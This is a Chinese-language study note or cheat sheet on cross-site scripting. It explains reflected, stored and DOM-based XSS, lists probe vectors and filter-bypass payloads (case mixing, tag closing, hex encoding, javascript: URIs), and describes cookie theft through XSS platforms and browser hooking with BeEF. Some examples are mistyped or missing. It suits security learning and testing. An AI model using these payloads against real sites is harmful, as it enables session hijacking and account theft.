https://veo.pub/2019/xsscode/ xss备忘录,挺全的
概述:
主要指攻击者可以再页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份、钓鱼、传播恶意代码和控制用户浏览器等行为
产生原因:
由于web程序对用户的输入过滤不足、,导致用户输入的恶意HTML/Javascript 代码注入到网页中,混淆原有语义,产生新的恶意语句。在其他用户访问网页时,浏览器就会触发恶意的网页代码,从而达到XSS攻击的目的
分类:
反射型:恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击
输入:
输入语句被写入了html,我点击submit就会弹出用户的cookie
存储型:也叫持久性XSS,当一个玉面(如留言板)有存储型时,插入的的恶意XSS代码会存储到数据库中 ,当访问此页面查看留言时,web程序会从数据库中取出恶意代码插入到页面,导致浏览器触发XSS
构造这样的payload
,现在我们重新访问页面,还是会依次弹处hello和nihao,因为我们提交的语句已经被写入数据库中了
Dom型:通过修改页面的DOM节点形成的XSS,从效果上来说也是反射型。
反射型或存储型时服务器将提交的内容反馈到了html源码内,导致触发XSS。也就是说返回到html源码中可以看到触发xss的代码。DOM型XSS只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url 传入参数去控制触发的
是因为js代码执行了我们输入的payload,而不是html
查找XSS漏洞探测
寻找web应用上的输入与输出口(例如网站输入框、URL参数等等),在可控参数中提交<script>alert(/xss/)</script>
等攻击字符串,观察输出点是否对这些字符串进行转移、过滤、实体编码等处理。
这好像也是xss啊?但其实不是,我们右击选择编辑为html
发现他是经过url编码的,所以我们输入的payload被进行了编码再被放进html中,从而防止了xss的产生,所以并不会混淆语义。
但是显示在页面中的时候会进行url解码
常用探测向量
所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//
<script>alert(1)</script>
<img scr=x onerror=prompt(1);>
<audio scr=x onerror=prompt(1);>
<a href="http://www.google.com">Clickme</a>
<svg onload=prompt(1);>
<svg οnlοad="alert(1)"//
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
<style οnlοad=alert(1)></style>
获得cookie
黑客在留言板中插入恶意代码
受害者访问被植入恶意代码的页面
恶意代码将cookir发送给黑客的服务器
一般使用xss平台生成payload,受害者执行之后cookie会被发送到xss平台
一般需要自行搭建xss平台
蓝莲花xss平台搭建教程
内网信息获取
https://github.com/BlackHole1/WebRtcXSS
该平台可以利用xss获取受害者的网络信息,扫描内网存在的漏洞并利用
BEEF(重要)
kali自带
beef利用简单的xss漏洞,通过一段编写好的js代码(hook.js)控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网
XSS绕过
实际环境中,开发人员会对用户的输入进行相应的过滤,这时我们需要fuzz绕过
常见绕过:
大小写转换:<ScrIpt>AlerT("XSS");</SCRiPt>
闭合标签: ><script>alert("XSS");</script>
Hex编码: <scrIpt>alert("XSS");</script>转换为%3c%73%63%72%49%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3b%3c%2f%73%63%72%69%70%74%3e
利用html属性 :
<img src="javascript:alert("xss");">
空格/tab/回车:
<img src="java script:alert('xss);"width=100>
字符编码
%cl;alert(/xss/.);//
圆括号过滤
<a onmouseover="javascript:window.onerror=alert;throw 1>
;:被过滤
<svg><script>alert(/1/)</script>
实体解码
&It:/script><script>alert(1)&It;/script>
编码
使用十六进制、Unicode、HTML等进行编码
Alert被过滤
使用prompt和confirm替代